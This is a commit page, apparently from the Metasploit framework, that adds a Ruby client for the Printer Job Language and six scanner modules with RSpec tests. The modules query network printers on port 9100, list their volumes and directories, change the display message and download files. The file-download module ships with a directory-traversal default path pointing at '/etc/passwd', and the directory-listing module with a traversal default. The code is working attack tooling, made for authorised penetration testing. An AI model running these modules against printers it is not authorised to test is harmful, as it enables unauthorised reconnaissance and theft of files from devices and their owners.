Land #2725 - Rex::Proto::PJL plus modules
commit
a1eba03d1f
|
@ -0,0 +1,30 @@
|
|||
# https://en.wikipedia.org/wiki/Printer_Job_Language
|
||||
# See external links for PJL spec
|
||||
|
||||
module Rex::Proto::PJL
|
||||
|
||||
require "rex/proto/pjl/client"
|
||||
|
||||
DEFAULT_PORT = 9100
|
||||
DEFAULT_TIMEOUT = 5
|
||||
|
||||
COUNT_MAX = 2147483647
|
||||
SIZE_MAX = 2147483647
|
||||
|
||||
UEL = "\e%-12345X" # Universal Exit Language
|
||||
PREFIX = "@PJL"
|
||||
|
||||
module Info
|
||||
ID = "#{PREFIX} INFO ID"
|
||||
STATUS = "#{PREFIX} INFO STATUS"
|
||||
VARIABLES = "#{PREFIX} INFO VARIABLES"
|
||||
FILESYS = "#{PREFIX} INFO FILESYS"
|
||||
end
|
||||
|
||||
RDYMSG = "#{PREFIX} RDYMSG"
|
||||
|
||||
FSINIT = "#{PREFIX} FSINIT"
|
||||
FSDIRLIST = "#{PREFIX} FSDIRLIST"
|
||||
FSUPLOAD = "#{PREFIX} FSUPLOAD"
|
||||
|
||||
end
|
|
@ -0,0 +1,162 @@
|
|||
# https://en.wikipedia.org/wiki/Printer_Job_Language
|
||||
# See external links for PJL spec
|
||||
|
||||
module Rex::Proto::PJL
|
||||
class Client
|
||||
|
||||
attr_reader :sock
|
||||
|
||||
def initialize(sock)
|
||||
@sock = sock
|
||||
end
|
||||
|
||||
# Begin a PJL job
|
||||
#
|
||||
# @return [void]
|
||||
def begin_job
|
||||
@sock.put("#{UEL}#{PREFIX}\n")
|
||||
end
|
||||
|
||||
# End a PJL job
|
||||
#
|
||||
# @return [void]
|
||||
def end_job
|
||||
@sock.put(UEL)
|
||||
end
|
||||
|
||||
# Send an INFO request and read the response
|
||||
#
|
||||
# @param category [String] INFO category
|
||||
# @return [String] INFO response
|
||||
def info(category)
|
||||
categories = {
|
||||
:id => Info::ID,
|
||||
:status => Info::STATUS,
|
||||
:variables => Info::VARIABLES,
|
||||
:filesys => Info::FILESYS
|
||||
}
|
||||
|
||||
unless categories.has_key?(category)
|
||||
raise ArgumentError, "Unknown INFO category"
|
||||
end
|
||||
|
||||
@sock.put("#{categories[category]}\n")
|
||||
@sock.get(DEFAULT_TIMEOUT)
|
||||
end
|
||||
|
||||
# Get version information
|
||||
#
|
||||
# @return [String] Version information
|
||||
def info_id
|
||||
id = nil
|
||||
|
||||
if info(:id) =~ /"(.*?)"/m
|
||||
id = $1
|
||||
end
|
||||
|
||||
id
|
||||
end
|
||||
|
||||
# Get environment variables
|
||||
#
|
||||
# @return [String] Environment variables
|
||||
def info_variables
|
||||
env_vars = nil
|
||||
|
||||
if info(:variables) =~ /#{Info::VARIABLES}\r?\n(.*?)\f/m
|
||||
env_vars = $1
|
||||
end
|
||||
|
||||
env_vars
|
||||
end
|
||||
|
||||
# List volumes
|
||||
#
|
||||
# @return [String] Volume listing
|
||||
def info_filesys
|
||||
filesys = nil
|
||||
|
||||
if info(:filesys) =~ /\[\d+ TABLE\]\r?\n(.*?)\f/m
|
||||
filesys = $1
|
||||
end
|
||||
|
||||
filesys
|
||||
end
|
||||
|
||||
# Get the ready message
|
||||
#
|
||||
# @return [String] Ready message
|
||||
def get_rdymsg
|
||||
rdymsg = nil
|
||||
|
||||
if info(:status) =~ /DISPLAY="(.*?)"/m
|
||||
rdymsg = $1
|
||||
end
|
||||
|
||||
rdymsg
|
||||
end
|
||||
|
||||
# Set the ready message
|
||||
#
|
||||
# @param message [String] Ready message
|
||||
# @return [void]
|
||||
def set_rdymsg(message)
|
||||
@sock.put(%Q{#{RDYMSG} DISPLAY = "#{message}"\n})
|
||||
end
|
||||
|
||||
# Initialize a volume
|
||||
#
|
||||
# @param volume [String] Volume
|
||||
# @return [void]
|
||||
def fsinit(volume)
|
||||
if volume !~ /^[0-2]:$/
|
||||
raise ArgumentError, "Volume must be 0:, 1:, or 2:"
|
||||
end
|
||||
|
||||
@sock.put(%Q{#{FSINIT} VOLUME = "#{volume}"\n})
|
||||
end
|
||||
|
||||
# List a directory
|
||||
#
|
||||
# @param pathname [String] Pathname
|
||||
# @param count [Fixnum] Number of entries to list
|
||||
# @return [String] Directory listing
|
||||
def fsdirlist(pathname, count = COUNT_MAX)
|
||||
if pathname !~ /^[0-2]:/
|
||||
raise ArgumentError, "Pathname must begin with 0:, 1:, or 2:"
|
||||
end
|
||||
|
||||
listing = nil
|
||||
|
||||
@sock.put(%Q{#{FSDIRLIST} NAME = "#{pathname}" ENTRY=1 COUNT=#{count}\n})
|
||||
|
||||
if @sock.get(DEFAULT_TIMEOUT) =~ /ENTRY=1\r?\n(.*?)\f/m
|
||||
listing = $1
|
||||
end
|
||||
|
||||
listing
|
||||
end
|
||||
|
||||
# Download a file
|
||||
#
|
||||
# @param pathname [String] Pathname
|
||||
# @param size [Fixnum] Size of file
|
||||
# @return [String] File as a string
|
||||
def fsupload(pathname, size = SIZE_MAX)
|
||||
if pathname !~ /^[0-2]:/
|
||||
raise ArgumentError, "Pathname must begin with 0:, 1:, or 2:"
|
||||
end
|
||||
|
||||
file = nil
|
||||
|
||||
@sock.put(%Q{#{FSUPLOAD} NAME = "#{pathname}" OFFSET=0 SIZE=#{size}\n})
|
||||
|
||||
if @sock.get(DEFAULT_TIMEOUT) =~ /SIZE=\d+\r?\n(.*?)\f/m
|
||||
file = $1
|
||||
end
|
||||
|
||||
file
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,65 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require "msf/core"
|
||||
require "rex/proto/pjl"
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
"Name" => "Printer File Download Scanner",
|
||||
"Description" => %q{
|
||||
This module downloads a file from a printer using PJL.
|
||||
},
|
||||
"Author" => [
|
||||
"wvu", # This implementation
|
||||
"sinn3r", # RSpec tests
|
||||
"MC", # Independent implementation
|
||||
"YGN" # Independent implementation
|
||||
],
|
||||
"References" => [
|
||||
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
|
||||
],
|
||||
"License" => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT),
|
||||
OptString.new("PATHNAME", [true, "Pathname", '0:\..\..\..\etc\passwd'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
pathname = datastore["PATHNAME"]
|
||||
|
||||
connect
|
||||
pjl = Rex::Proto::PJL::Client.new(sock)
|
||||
pjl.begin_job
|
||||
|
||||
pjl.fsinit(pathname[0..1])
|
||||
file = pjl.fsupload(pathname)
|
||||
|
||||
pjl.end_job
|
||||
disconnect
|
||||
|
||||
if file
|
||||
print_good("#{ip}:#{rport} - #{pathname}")
|
||||
store_loot(
|
||||
"printer.file",
|
||||
"application/octet-stream",
|
||||
ip,
|
||||
file,
|
||||
pathname,
|
||||
"Printer file"
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,60 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require "msf/core"
|
||||
require "rex/proto/pjl"
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
"Name" => "Printer Environment Variables Scanner",
|
||||
"Description" => %q{
|
||||
This module scans for printer environment variables using PJL.
|
||||
},
|
||||
"Author" => [
|
||||
"wvu", # This implementation
|
||||
"sinn3r", # RSpec tests
|
||||
"MC", # Independent implementation
|
||||
"YGN" # Independent implementation
|
||||
],
|
||||
"References" => [
|
||||
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
|
||||
],
|
||||
"License" => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
connect
|
||||
pjl = Rex::Proto::PJL::Client.new(sock)
|
||||
pjl.begin_job
|
||||
|
||||
env_vars = pjl.info_variables
|
||||
|
||||
pjl.end_job
|
||||
disconnect
|
||||
|
||||
if env_vars
|
||||
print_good("#{ip}:#{rport}\n#{env_vars}")
|
||||
report_note({
|
||||
:host => ip,
|
||||
:port => rport,
|
||||
:proto => "tcp",
|
||||
:type => "printer.env.vars",
|
||||
:data => env_vars
|
||||
})
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,64 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require "msf/core"
|
||||
require "rex/proto/pjl"
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
"Name" => "Printer Directory Listing Scanner",
|
||||
"Description" => %q{
|
||||
This module lists a directory on a printer using PJL.
|
||||
},
|
||||
"Author" => [
|
||||
"wvu", # This implementation
|
||||
"sinn3r", # RSpec tests
|
||||
"MC", # Independent implementation
|
||||
"YGN" # Independent implementation
|
||||
],
|
||||
"References" => [
|
||||
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
|
||||
],
|
||||
"License" => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT),
|
||||
OptString.new("PATHNAME", [true, "Pathname", '0:\..\..\..'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
pathname = datastore["PATHNAME"]
|
||||
|
||||
connect
|
||||
pjl = Rex::Proto::PJL::Client.new(sock)
|
||||
pjl.begin_job
|
||||
|
||||
pjl.fsinit(pathname[0..1])
|
||||
listing = pjl.fsdirlist(pathname)
|
||||
|
||||
pjl.end_job
|
||||
disconnect
|
||||
|
||||
if listing
|
||||
print_good("#{ip}:#{rport}\n#{listing}")
|
||||
report_note({
|
||||
:host => ip,
|
||||
:port => rport,
|
||||
:proto => "tcp",
|
||||
:type => "printer.dir.listing",
|
||||
:data => listing
|
||||
})
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,61 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require "msf/core"
|
||||
require "rex/proto/pjl"
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
"Name" => "Printer Volume Listing Scanner",
|
||||
"Description" => %q{
|
||||
This module lists the volumes on a printer using PJL.
|
||||
},
|
||||
"Author" => [
|
||||
"wvu", # This implementation
|
||||
"sinn3r", # RSpec tests
|
||||
"MC", # Independent implementation
|
||||
"YGN" # Independent implementation
|
||||
],
|
||||
"References" => [
|
||||
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
|
||||
],
|
||||
"License" => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
connect
|
||||
pjl = Rex::Proto::PJL::Client.new(sock)
|
||||
pjl.begin_job
|
||||
|
||||
3.times { |volume| pjl.fsinit("#{volume}:") }
|
||||
listing = pjl.info_filesys
|
||||
|
||||
pjl.end_job
|
||||
disconnect
|
||||
|
||||
if listing
|
||||
print_good("#{ip}:#{rport}\n#{listing}")
|
||||
report_note({
|
||||
:host => ip,
|
||||
:port => rport,
|
||||
:proto => "tcp",
|
||||
:type => "printer.vol.listing",
|
||||
:data => listing
|
||||
})
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,73 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require "msf/core"
|
||||
require "rex/proto/pjl"
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
"Name" => "Printer Ready Message Scanner",
|
||||
"Description" => %q{
|
||||
This module scans for and can change printer ready messages using PJL.
|
||||
},
|
||||
"Author" => [
|
||||
"wvu", # This implementation
|
||||
"sinn3r", # RSpec tests
|
||||
"MC", # Independent implementation
|
||||
"YGN" # Independent implementation
|
||||
],
|
||||
"References" => [
|
||||
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
|
||||
],
|
||||
"License" => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT),
|
||||
OptBool.new("CHANGE", [false, "Change ready message", false]),
|
||||
OptBool.new("RESET", [false, "Reset ready message (CHANGE must be true)", false]),
|
||||
OptString.new("MESSAGE", [false, "Ready message", "PC LOAD LETTER"])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
connect
|
||||
pjl = Rex::Proto::PJL::Client.new(sock)
|
||||
pjl.begin_job
|
||||
|
||||
if datastore["CHANGE"]
|
||||
if datastore["RESET"]
|
||||
message = ""
|
||||
else
|
||||
message = datastore["MESSAGE"]
|
||||
end
|
||||
|
||||
pjl.set_rdymsg(message)
|
||||
end
|
||||
|
||||
rdymsg = pjl.get_rdymsg
|
||||
|
||||
pjl.end_job
|
||||
disconnect
|
||||
|
||||
if rdymsg
|
||||
print_good("#{ip}:#{rport} - #{rdymsg}")
|
||||
report_note({
|
||||
:host => ip,
|
||||
:port => rport,
|
||||
:proto => "tcp",
|
||||
:type => "printer.rdymsg",
|
||||
:data => rdymsg
|
||||
})
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,60 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require "msf/core"
|
||||
require "rex/proto/pjl"
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
"Name" => "Printer Version Information Scanner",
|
||||
"Description" => %q{
|
||||
This module scans for printer version information using PJL.
|
||||
},
|
||||
"Author" => [
|
||||
"wvu", # This implementation
|
||||
"sinn3r", # RSpec tests
|
||||
"MC", # Independent implementation
|
||||
"YGN" # Independent implementation
|
||||
],
|
||||
"References" => [
|
||||
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
|
||||
],
|
||||
"License" => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
connect
|
||||
pjl = Rex::Proto::PJL::Client.new(sock)
|
||||
pjl.begin_job
|
||||
|
||||
id = pjl.info_id
|
||||
|
||||
pjl.end_job
|
||||
disconnect
|
||||
|
||||
if id
|
||||
print_good("#{ip}:#{rport} - #{id}")
|
||||
report_service({
|
||||
:host => ip,
|
||||
:port => rport,
|
||||
:proto => "tcp",
|
||||
:name => "jetdirect",
|
||||
:info => id
|
||||
})
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,130 @@
|
|||
require 'spec_helper'
|
||||
require 'fastlib'
|
||||
require 'msfenv'
|
||||
require 'msf/base'
|
||||
require 'rex/proto/pjl'
|
||||
|
||||
describe Rex::Proto::PJL::Client do
|
||||
context "methods" do
|
||||
let(:default_response) do
|
||||
'OK'
|
||||
end
|
||||
|
||||
let(:sock) do
|
||||
s = double("sock")
|
||||
s.stub(:put).with(an_instance_of(String))
|
||||
s.stub(:get).and_return(default_response)
|
||||
s
|
||||
end
|
||||
|
||||
let(:cli) do
|
||||
Rex::Proto::PJL::Client.new(sock)
|
||||
end
|
||||
|
||||
context ".initialize" do
|
||||
it "should initialize a 'sock' ivar" do
|
||||
cli.instance_variable_get(:@sock).class.should eq(RSpec::Mocks::Mock)
|
||||
end
|
||||
end
|
||||
|
||||
context ".begin_job" do
|
||||
it "should send a PJL start request without any errors" do
|
||||
cli.begin_job
|
||||
end
|
||||
end
|
||||
|
||||
context ".end_job" do
|
||||
it "should send a PJL end request" do
|
||||
cli.end_job
|
||||
end
|
||||
end
|
||||
|
||||
context ".info" do
|
||||
it "should raise an exception for not having a category" do
|
||||
expect { cli.info(nil) }.to raise_error(ArgumentError)
|
||||
end
|
||||
|
||||
it "should receive a response for an INFO request" do
|
||||
cli.info(:id).should eq(default_response)
|
||||
end
|
||||
end
|
||||
|
||||
context ".info_id" do
|
||||
it "should return the version information" do
|
||||
fake_version = '"1337"'
|
||||
cli.stub(:info).with(an_instance_of(Symbol)).and_return(fake_version)
|
||||
cli.info_id.should eq('1337')
|
||||
end
|
||||
end
|
||||
|
||||
context ".info_variables" do
|
||||
it "should return the environment variables" do
|
||||
fake_env_vars = "#{Rex::Proto::PJL::Info::VARIABLES}\r\nPASSWORD=DISABLED\f"
|
||||
cli.stub(:info).with(an_instance_of(Symbol)).and_return(fake_env_vars)
|
||||
cli.info_variables.should eq('PASSWORD=DISABLED')
|
||||
end
|
||||
end
|
||||
|
||||
context ".info_filesys" do
|
||||
it "should return the volumes" do
|
||||
fake_volumes = "[1 TABLE]\r\nDIR\f"
|
||||
cli.stub(:info).with(an_instance_of(Symbol)).and_return(fake_volumes)
|
||||
cli.info_filesys.should eq('DIR')
|
||||
end
|
||||
end
|
||||
|
||||
context ".get_rdymsg" do
|
||||
it "should return a READY message" do
|
||||
fake_ready_message = 'DISPLAY="RES"'
|
||||
cli.stub(:info).with(an_instance_of(Symbol)).and_return(fake_ready_message)
|
||||
cli.get_rdymsg.should eq('RES')
|
||||
end
|
||||
end
|
||||
|
||||
context ".set_rdymsg" do
|
||||
it "should send a READY message" do
|
||||
cli.set_rdymsg("")
|
||||
end
|
||||
end
|
||||
|
||||
context ".fsinit" do
|
||||
it "should raise an exception due to an invalid volume" do
|
||||
expect { cli.fsinit("BAD") }.to raise_error(ArgumentError)
|
||||
end
|
||||
|
||||
it "should send a FS INIT message" do
|
||||
cli.fsinit("1:")
|
||||
end
|
||||
end
|
||||
|
||||
context ".fsdirlist" do
|
||||
it "should reaise an exception due to an invaid path name" do
|
||||
expect { cli.fsdirlist("BAD") }.to raise_error(ArgumentError)
|
||||
end
|
||||
|
||||
it "should return a LIST directory response" do
|
||||
response = "ENTRY=1\r\nDIR\f"
|
||||
tmp_sock = double("sock")
|
||||
tmp_sock.stub(:put).with(an_instance_of(String))
|
||||
tmp_sock.stub(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response)
|
||||
tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock)
|
||||
tmp_cli.fsdirlist("1:").should eq('DIR')
|
||||
end
|
||||
end
|
||||
|
||||
context ".fsupload" do
|
||||
it "should raise an exception due to an invalid path name" do
|
||||
expect { cli.fsupload("BAD") }.to raise_error(ArgumentError)
|
||||
end
|
||||
|
||||
it "should return a file" do
|
||||
response = "SIZE=1337\r\nFILE\f"
|
||||
tmp_sock = double("sock")
|
||||
tmp_sock.stub(:put).with(an_instance_of(String))
|
||||
tmp_sock.stub(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response)
|
||||
tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock)
|
||||
tmp_cli.fsupload("1:").should eq('FILE')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue